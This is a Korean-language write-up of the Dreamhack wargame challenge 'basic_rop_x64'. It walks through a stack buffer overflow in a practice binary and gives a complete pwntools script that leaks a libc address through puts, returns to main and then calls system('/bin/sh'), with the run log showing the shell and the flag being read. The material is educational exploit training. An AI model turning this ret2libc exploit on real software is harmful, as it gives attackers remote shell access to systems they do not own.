Basic_rop_x64 문제 write-up

강승민

```c
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
```

문제의 코드를 보면 0x40 크기의 배열에 0x400만큼 입력을 받는다. 그후 write 함수로 출력을 buf를 출력을 해주는데 입력부분에서 BOF가 발생하게 된다.

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

하지만 NX비트가 켜져있어서 스택에 실행권한이 없고 이 때문에 쉘코드를 사용하지 못하여 ROP를 사용하여 시스템 함수를 실행시켜 쉘을 얻어 내야 할 것으로 예상된다.

ROP를 사용하기위해 gadget을 찾아내야 하는데 첫번째 인자인 rdi를 넣는 pop rdi, ret 을 찾아보면

```
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400883 : (b'5fc3')  pop rdi; ret
```

다행히 하나가 바이너리 안에 있는 모습을 볼 수 있다.

하지만 pop rdx 가젯을 찾을 수 없었기 때문에 이를 해결하기위해 인자가 하나인 함수, puts과 system만 사용하기로 했고 쉘코드를 한번에 만들면 libc의 주소를 얻어 system 함수를 쓰는게 불가능하기 때문에 libc의 주소를 얻어내기위해 main함수를 한번 사용하고 ret 할때 main 주소로 돌아가서 다시 BOF를 발생시켜서 libc의 시스템함수를 실행시키기로 했다.

이를 위해 /bin/sh 문자열을 찾아보면

```
┌──(ubuntu㉿LAPTOP-tmdalsBoB)-[/mnt/…/WARGAME/dreamhack/pwnable/basic_rop_x64]
└─$ strings -tx libc.so.6 | grep "/bin/sh"
18cd57 /bin/sh
```

이와 같이 libc에 /bin/sh가 포함되어 있는 모습을 볼 수 있다.

이를 이용하여 exploit 코드를 짜보면

```python
from pwn import *


libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")

#p = process("./basic_rop_x86",env={"LD_PRELOAD":"/home/ubuntu/dreamhack/basic_rop_x86/libc.so.6"})
p = remote("host1.dreamhack.games",16949)

read_got = e.got['read']
puts_plt = e.plt['puts']

pop_rdi_ret = 0x00400883
main = 0x00000000004007ba

binsh_offset = 0x18cd57
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']


payload = b"A" * (64 + 8)

payload += p64(pop_rdi_ret)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)

p.send(payload)

dummy = p.recvn(0x40)
print(dummy)
read_addr = p.recv(6)
print(read_addr)
read_addr = u64(read_addr.ljust(8,b'\x00'))
print(hex(read_addr))
libc_base = read_addr - read_offset
print(hex(libc_base))
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload = b"A" * (64+8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.send(payload)

p.interactive()
```

이와 같이 쓸 수 있다.

실행시켜보면

```
[+] Opening connection to host1.dreamhack.games on port 14454: Done
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
b'P\xc2\xbc\x16\x9a\x7f'
0x7f9a16bcc250
0x7f9a16ad5000
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls -al
total 36
drwxr-xr-x 2 root root          4096 Apr 14  2020 .
drwxr-xr-x 3 root root          4096 Apr 14  2020 ..
-rw-r--r-- 1 root root           220 Apr 14  2020 .bash_logout
-rw-r--r-- 1 root root          3771 Apr 14  2020 .bashrc
-rw-r--r-- 1 root root           655 Apr 14  2020 .profile
-rwxr-xr-x 1 root basic_rop_x64 9080 Apr 14  2020 basic_rop_x64
-r--r----- 1 root basic_rop_x64   36 Apr 14  2020 flag
$ cat flag
DH{                                }$
```

이와 같이 쉘을 얻어 flag를 얻을 수 있다